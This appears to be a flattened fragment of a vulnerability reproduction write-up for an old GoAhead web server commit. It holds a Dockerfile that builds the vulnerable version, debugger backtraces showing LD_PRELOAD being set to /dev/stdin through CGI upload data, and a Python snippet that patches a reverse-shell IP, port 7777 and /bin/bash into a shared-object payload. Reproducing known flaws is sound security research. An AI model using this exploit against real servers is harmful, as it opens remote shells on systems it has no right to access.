RUNcp -a /etc/apt/sources.list /etc/apt/sources.list.bak RUN sed -i "s@http://.*archive.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list \ && sed -i "s@http://.*security.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list RUN apt update && apt-get upgrade
RUN apt-get install -y git gcc make
WORKDIR /var/www/ RUN git clone https://github.com/embedthis/goahead.git
WORKDIR /var/www/goahead/ RUN git checkout 649285c RUN make
WORKDIR /var/www/goahead/test/ RUN gcc ./cgitest.c -o cgi-bin/cgitest CMD ["sh","-c","/var/www/goahead/build/linux-x64-default/bin/goahead"]
#0 execve () at ../sysdeps/unix/syscall-template.S:78 #10x00007ffff7f1f692 in launchCgi(cgiPath=0x55555556b110"/home/ubuntu/docker-server/gohead_eval/goahead/test/cgi-bin/cgitest", argp=0x55555556b440, envp=0x55555556b4c0, stdIn=0x55555555cc20"/tmp/cgi-0.tmp", stdOut=0x55555556d5a0"/tmp/cgi-1.tmp") at src/cgi.c:586 #2 0x00007ffff7f1e9df in cgiHandler(wp=0x555555565f40) at src/cgi.c:216 #3 0x00007ffff7f31053 in websRunRequest(wp=0x555555565f40) at src/route.c:182 #4 0x00007ffff7f23f05 in websPump(wp=0x555555565f40) at src/http.c:870 #5 0x00007ffff7f23d8d in readEvent(wp=0x555555565f40) at src/http.c:834 #6 0x00007ffff7f23b0e in socketEvent(sid=1, mask=2, wptr=0x555555565f40) at src/http.c:772 #7 0x00007ffff7f39b05 in socketDoEvent(sp=0x555555565e00) at src/socket.c:654 #8 0x00007ffff7f39a26 in socketProcess() at src/socket.c:628 #9 0x00007ffff7f258e7 in websServiceEvents(finished=0x555555558014 <finished>) at src/http.c:1385 #10 0x00005555555559d2 in main(argc=5, argv=0x7fffffffdf78, envp=0x7fffffffdfa8) at src/goahead.c:170
#0 hashEnter (sd=21845, name=0x0, v=..., arg=1431729616) at src/runtime.c:2073 #10x00007ffff7f261b2 in websSetVar(wp=0x555555565f40, var=0x55555556a460"LD_PRELOAD", value=0x5555555675d0"/dev/stdin") at src/http.c:1535 #2 0x00007ffff7f3d0b3 in processContentData(wp=0x555555565f40) at src/upload.c:383 #3 0x00007ffff7f3c4fd in websProcessUploadData(wp=0x555555565f40) at src/upload.c:145 #4 0x00007ffff7f25181 in processContent(wp=0x555555565f40) at src/http.c:1216 #5 0x00007ffff7f23ef4 in websPump(wp=0x555555565f40) at src/http.c:867 #6 0x00007ffff7f23d8d in readEvent(wp=0x555555565f40) at src/http.c:834
#0 websProcessCgiData (wp=0x555555565f40) at src/cgi.c:264 #10x00007ffff7f251fa in processContent(wp=0x555555565f40) at src/http.c:1232 #2 0x00007ffff7f23ef4 in websPump(wp=0x555555565f40) at src/http.c:867 #3 0x00007ffff7f23d8d in readEvent(wp=0x555555565f40) at src/http.c:834
#target_mesg ip = 'aaa.bbb.ccc.ddd' port = abcde #r_shell_mesg reverse_shell_ip = "0.0.0.0" listen_port = 7777 #commond cmd = '/bin/bash'
defparse_so(filepath): f = open(filepath,"rb").read() f = f.replace("aaa.bbb.ccc.ddd",reverse_shell_ip.ljust(len(reverse_shell_ip)+1,'\x00')) f = f.replace("abcde",str(listen_port).ljust(len(str(listen_port))+1,'\x00')) return f